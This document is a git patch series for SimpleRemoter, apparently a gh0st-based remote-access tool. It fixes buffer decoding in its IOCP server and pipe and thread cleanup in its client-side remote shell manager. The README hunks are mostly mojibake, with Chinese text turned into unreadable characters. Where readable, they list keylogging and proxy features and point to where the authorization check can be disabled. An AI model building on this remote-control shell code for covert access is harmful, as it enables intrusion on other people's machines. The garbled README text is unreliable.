From 96ccba2c78e85455b002e1a43684757beb46914c Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 10 May 2025 03:30:15 +0800 Subject: [PATCH 1/2] fix: Decode buffer before write it --- server/2015Remote/IOCPServer.cpp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 730ee93..813af2c 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -508,8 +508,8 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans } else if (ContextObject->CompressMethod == COMPRESS_NONE) { ContextObject->InDeCompressedBuffer.ClearBuffer(); - ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength); ContextObject->Decode(CompressedBuffer, ulOriginalLength); + ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength); m_NotifyProc(ContextObject); SAFE_DELETE_ARRAY(CompressedBuffer); continue; @@ -522,16 +522,16 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans if (usingZstd ? C_SUCCESS(iRet) : (S_OK==iRet)) { ContextObject->InDeCompressedBuffer.ClearBuffer(); - ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); ContextObject->Decode(DeCompressedBuffer, ulOriginalLength); + ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); m_NotifyProc(ContextObject); //通知窗口 }else if (usingZstd){ // 尝试用zlib解压缩 if (Z_OK == uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength)) { ContextObject->CompressMethod = COMPRESS_ZLIB; ContextObject->InDeCompressedBuffer.ClearBuffer(); - ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); ContextObject->Decode(DeCompressedBuffer, ulOriginalLength); + ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); m_NotifyProc(ContextObject); } else { zlibFailed = true; From 1592b9e33f36cc92e647551b235805e89d03e696 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Mon, 12 May 2025 02:07:34 +0800 Subject: [PATCH 2/2] fix: `CShellManager` wait thread to exit --- ReadMe.md | 31 +++++++++++++++++++++---------- client/ShellManager.cpp | 19 ++++++++++++------- 2 files changed, 33 insertions(+), 17 deletions(-) diff --git a/ReadMe.md b/ReadMe.md index 37bf127..42fe8a7 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -2,17 +2,21 @@ **鍘熷鏉ユ簮锛** [zibility](https://github.com/zibility/Remote) -**鍔熻兘姒傝堪锛** 鍩轰簬gh0st鐨勮繙绋嬫帶鍒跺櫒锛氬疄鐜颁簡缁堢绠$悊銆佽繘绋嬬鐞嗐佺獥鍙g鐞嗐佹闈㈢鐞嗐佹枃浠剁鐞嗐佽闊崇鐞嗐佽棰戠鐞嗐佹湇鍔$鐞嗐佹敞鍐岃〃绠$悊绛夊姛鑳姐 +**鍔熻兘姒傝堪锛** 鍩轰簬gh0st鐨勮繙绋嬫帶鍒跺櫒锛氬疄鐜颁簡缁堢绠$悊銆佽繘绋嬬鐞嗐佺獥鍙g鐞嗐佹闈㈢鐞嗐佹枃浠剁鐞嗐佽闊崇鐞嗐佽棰戠鐞嗐佹湇鍔$鐞嗐 +娉ㄥ唽琛ㄧ鐞嗐侀敭鐩樿褰曘丼OCKS浠g悊绛夊姛鑳姐 濡傛灉鎮ㄧ儹鐖辩爺绌舵帶鍒剁▼搴忥紝鍠滄鏈」鐩紝璇锋偍瀵硅椤圭洰娣诲姞鏄熸爣銆侳ork銆乄atch姝ら」鐩紝鎻愪氦Issues锛屽彂璧稰ull Request閮芥槸鍙楁杩庣殑銆 -鏍规嵁鏈汉绌洪棽鎯呭喌锛屾椤圭洰浼氫笉瀹氭湡鏇存柊銆傝嫢鎮ㄦ兂瀵硅椤圭洰浜嗚В鏇村鎶鏈粏鑺傦紝鍠滄璁ㄨ杞欢鐨勫悇鏂归潰锛屽涔犲拰浜ゆ祦璇烽氳繃閫傚綋鐨勬柟寮忚仈绯汇 - -姝ょ▼搴忎粎闄愪簬瀛︿範鍜屾妧鏈氦娴佺敤閫旓紝浣跨敤鑰呮湰浜洪渶瀵硅嚜宸变娇鐢ㄨ杞欢浜х敓鐨勭粨鏋滆繘琛岃礋璐c +*姝ょ▼搴忎粎闄愪簬瀛︿範鍜屾妧鏈氦娴佺敤閫旓紝浣跨敤鑰呮湰浜洪渶瀵硅嚜宸变娇鐢ㄨ杞欢浜х敓鐨勭粨鏋滆繘琛岃礋璐c* **璧峰鏃ユ湡**锛2019.1.1 +## 鍏嶈矗澹版槑 + +鏈蒋浠朵互鈥滅幇鐘垛濇彁渚涳紝涓嶉檮甯︿换浣曚繚璇併備娇鐢ㄦ湰杞欢鐨勯闄╃敱鐢ㄦ埛鑷鎵挎媴銆傛垜浠笉瀵逛换浣曞洜浣跨敤鏈蒋浠惰屽紩鍙戠殑闈炴硶鎴栨伓鎰忕敤閫旇礋璐c +鐢ㄦ埛搴旈伒瀹堢浉鍏虫硶寰嬫硶瑙勶紝骞惰礋璐d换鍦颁娇鐢ㄦ湰杞欢銆傚紑鍙戣呭浠讳綍鍥犱娇鐢ㄦ湰杞欢浜х敓鐨勬崯瀹充笉鎵挎媴璐d换銆 + ## 涓绘帶绋嬪簭 -涓绘帶绋嬪簭涓**YAMA.exe**鏄疭erver绔紝Release鍙戝竷鐗堟湰鍦ㄥ崟鍙扮數鑴戝彧鑳借繍琛屼竴涓ず渚嬨 +涓绘帶绋嬪簭涓**YAMA.exe**鏄疭erver绔紝鍩轰簬IOCP閫氳锛屾敮鎸佷笂涓囦富鏈哄悓鏃跺湪绾匡紝Release鍙戝竷鐗堟湰鍦ㄥ崟鍙扮數鑴戝彧鑳借繍琛屼竴涓ず渚嬨 涓嬮潰灞曠ず涓绘帶绋嬪簭杩愯鐣岄潰锛屾墍鏈夊姛鑳藉潎鍙敤锛岀▼搴忚繍琛岀ǔ瀹氥 鏌愪簺鍔熻兘瑕佹眰鍙楁帶绋嬪簭浠ョ鐞嗗憳鏉冮檺杩愯銆 @@ -76,8 +80,9 @@ ![PasswordGen](./images/PasswordGen.jpg) -褰撳墠瀵圭敓鎴愭湇鍔″姛鑳借繘琛屼簡闄愬埗锛岄渶瑕佸彇寰楀彛浠ゆ柟鍙搷浣溿傜粰鏂扮紪璇戠殑绋嬪簭14澶╄瘯鐢ㄦ湡锛岃繃鏈熶箣鍚庣敓鎴愭湇鍔$闇瑕佸嚟鍊"搴忓垪鍙"鐢宠鍙d护锛 -濡傛灉瑕佸鍏朵粬鍔熻兘涔冭嚦鏁翠釜绋嬪簭鍚姩鎺堟潈閫昏緫锛屾垨鑰呭睆钄借鎺堟潈閫昏緫锛岃鍙傝僠OnOnlineBuildClient`鍑芥暟銆 +鑷獀1.0.8璧凤紝鎿嶄綔涓绘帶绋嬪簭闇瑕佽幏寰楁巿鏉冦傜粰鏂扮紪璇戠殑绋嬪簭14澶╄瘯鐢ㄦ湡锛岃繃鏈熶箣鍚庣敓鎴愭湇鍔$闇瑕佸嚟鍊"搴忓垪鍙"鐢宠鍙d护锛 +濡傛灉瑕佸睆钄借鎺堟潈閫昏緫锛岃鍙傝僠OnOnlineBuildClient`鍑芥暟锛岄噸鏂扮紪璇戠▼搴忥紝鍙傜湅锛 +[#91](https://github.com/yuanyuanxiang/SimpleRemoter/issues/91)銆 鈥滃彛浠も濆寘鍚巿鏉冩棩鏈熻寖鍥达紝纭繚涓鏈轰竴鐮侊紱鎺堟潈閫昏緫浼氭娴嬭绠楁満鏃ユ湡鏈绡℃敼銆傜敓鎴愬彛浠ら渶浣跨敤瀵嗙爜銆 ## 鍙楁帶绋嬪簭 @@ -143,6 +148,13 @@ Release v1.0.9锛 - Improve authorization feature. +# 鍏朵粬椤圭洰 + +- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands)锛氭杩滄帶绋嬪簭鐣岄潰涓哄叏鑻辨枃锛岄噰鐢ㄤ笉鍚岀殑鏋舵瀯璁捐銆 +- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT): 涓娆惧姛鑳藉叏闈㈢殑杩滅▼鎺у埗绋嬪簭锛屽嵆澶х伆鐙9.5. +- [Gh0st](https://github.com/yuanyuanxiang/Gh0st): 涔熸槸涓娆惧熀浜嶨h0st鐨勮繙绋嬫帶鍒剁▼搴忋 + + # 娌熼氬弽棣 QQ锛962914132 @@ -153,6 +165,5 @@ QQ锛962914132 娆㈣繋鎻愪氦锛 [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls) -璧炲姪鏂瑰紡 / Sponsor锛 - -![Sponsor](https://github.com/yuanyuanxiang/yuanyuanxiang/blob/main/images/QR_Codes.jpg) +璧炲姪鏂瑰紡 / Sponsor锛氳椤圭洰鐨勭爺绌跺嚭鑷妧鏈涔犲拰鍏磋叮鐖卞ソ锛屾湰浜鸿涓氫綑鎯呭喌涓嶅畾鏈熸洿鏂伴」鐩 +**濡傛灉璇ラ」鐩浣犳湁鐩婏紝璇烽氳繃璧炲姪鍥炬爣瀵规湰椤圭洰杩涜鏀寔銆** diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp index 1024893..1366467 100644 --- a/client/ShellManager.cpp +++ b/client/ShellManager.cpp @@ -32,10 +32,12 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag if(m_hReadPipeHandle != NULL) { CloseHandle(m_hReadPipeHandle); + m_hReadPipeHandle = NULL; } if(m_hWritePipeShell != NULL) { CloseHandle(m_hWritePipeShell); + m_hWritePipeShell = NULL; } return; } @@ -45,10 +47,12 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag if(m_hWritePipeHandle != NULL) { CloseHandle(m_hWritePipeHandle); + m_hWritePipeHandle = NULL; } if(m_hReadPipeShell != NULL) { CloseHandle(m_hReadPipeShell); + m_hReadPipeShell = NULL; } return; } @@ -82,10 +86,10 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) { - CloseHandle(m_hReadPipeHandle); - CloseHandle(m_hWritePipeHandle); - CloseHandle(m_hReadPipeShell); - CloseHandle(m_hWritePipeShell); + CloseHandle(m_hReadPipeHandle); m_hReadPipeHandle = NULL; + CloseHandle(m_hWritePipeHandle); m_hWritePipeHandle = NULL; + CloseHandle(m_hReadPipeShell); m_hReadPipeShell = NULL; + CloseHandle(m_hWritePipeShell); m_hWritePipeShell = NULL; return; } @@ -132,6 +136,8 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam) LocalFree(szTotalBuffer); } } + CloseHandle(This->m_hThreadRead); + This->m_hThreadRead = NULL; Mprintf("ReadPipe线程退出\n"); return 0; } @@ -187,9 +193,8 @@ CShellManager::~CShellManager() CloseHandle(m_hWritePipeShell); m_hWritePipeShell = NULL; } - if (m_hThreadRead) + while (m_hThreadRead) { - CloseHandle(m_hThreadRead); - m_hThreadRead = NULL; + Sleep(200); // wait for thread to exit } }